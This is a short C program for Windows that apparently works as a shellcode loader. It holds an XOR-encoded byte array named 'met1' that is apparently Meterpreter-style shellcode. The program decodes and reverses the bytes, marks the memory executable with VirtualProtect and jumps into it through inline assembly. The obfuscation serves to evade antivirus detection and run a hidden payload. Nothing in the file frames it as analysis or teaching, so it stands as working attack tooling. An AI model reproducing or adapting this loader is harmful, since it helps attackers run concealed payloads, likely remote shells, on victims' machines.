#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winbase.h>

char met1[] =
"\xad\x87\x2b\x78\x12\x2e\xda\xcd\x88\xc3\xbb\xbf\x0d\xbe\x51"
"\xbb\x79\x87\x87\x87\x09\x91\x5c\x74\x87\x26\x26\xad\x87\x19"
"\x35\x16\x0d\x10\x2f\xad\x87\x48\x77\x57\x73\x10\x28\x78\x12"
"\x78\x78\x38\x78\x10\x20\x5a\x05\x78\x80\xfb\xad\x87\x27\xb0"
"\xa1\x7a\x10\x2f\x2b\x2e\x78\x12\x2b\xeb\xad\x87\x9d\x2b\xdc"
"\x20\x10\x78\x12\x2e\x78\x78\x68\x78\x10\x38\x12\x4e\xf3\x4e"
"\x06\x78\x80\xfb\xad\x87\x27\xb0\xa1\x7a\x10\x2f\x2e\x7c\x12"
"\x78\x12\x78\x78\x78\x19\x90\x94\x0d\x70\x36\x87\x72\x0c\xb8"
"\xfd\xad\x87\x19\x0c\xdd\xe1\x10\x2f\x2e\x68\x12\xef\xad\x87"
"\x98\xa7\x77\x92\x10\x28\x38\x28\x38\x28\x28\x28\x28\x9e\xf1"
"\x27\x6c\x78\x7a\x10\xf9\x2e\xd0\xb8\x10\x7d\x12\xad\x87\x78"
"\x13\xf8\x51\x10\x28\x2c\xbc\x51\x78\x78\x79\xe8\xc0\xad\x87"
"\x7f\x5e\x0f\x34\x10\x2c\x27\x4a\x0b\x0f\x10\x78\x78\x4a\x4b"
"\x10\x25\xf5\x93\x6a\xf3\x22\x27\x27\x98\x87\x29\x22\x21\x19"
"\x23\x23\x5c\x5c\x3c\xf1\xa8\x79\xf3\x7c\xf3\xab\x79\x64\x20"
"\xf3\x33\x74\xf3\x1e\xab\x79\x5c\x20\xf3\x20\x9c\x0d\x5c\x05"
"\x43\x80\x05\x7b\x8e\x0d\x98\x40\xbf\x79\x75\xb7\xb9\xd4\x87"
"\x49\xae\x79\xf3\x4c\xf3\x31\x42\x9b\x60\x31\xf3\xab\x79\x58"
"\x21\xf3\x29\xa9\x79\x30\x9b\x00\x69\x34\xf3\x44\x32\xf3\x68"
"\x2a\xf3\x2f\x2a\x8a\x9a\xbf\x79\x75\xb7\xb9\x58\x54\x7a\x04"
"\x19\x44\xd4\x87\x49\x5e\x32\xcf\x77\x50\x0a\xf3\x6c\x2a\xf3"
"\x74\x2a\xf3\x48\x28\xf3\x1c\xb8\x49\x9d\xf1\x18\x78\x78\x78"
"\xfa\x90\x84";
char met2[333],met[333];



int main()
{
	int i;
	for(i = 0; i < 333; i++)
	{
		met2[i] = met1[i] ^ 'x';
	}
	for(i = 0; i < 333; i++)
	{
		met[i] = met2[332-i];
	}
    DWORD old = 0;
    BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
    INT32 * addr;
    addr =(INT32*) &met;

    __asm;
    {
        call addr;
    }
    return 0;
}
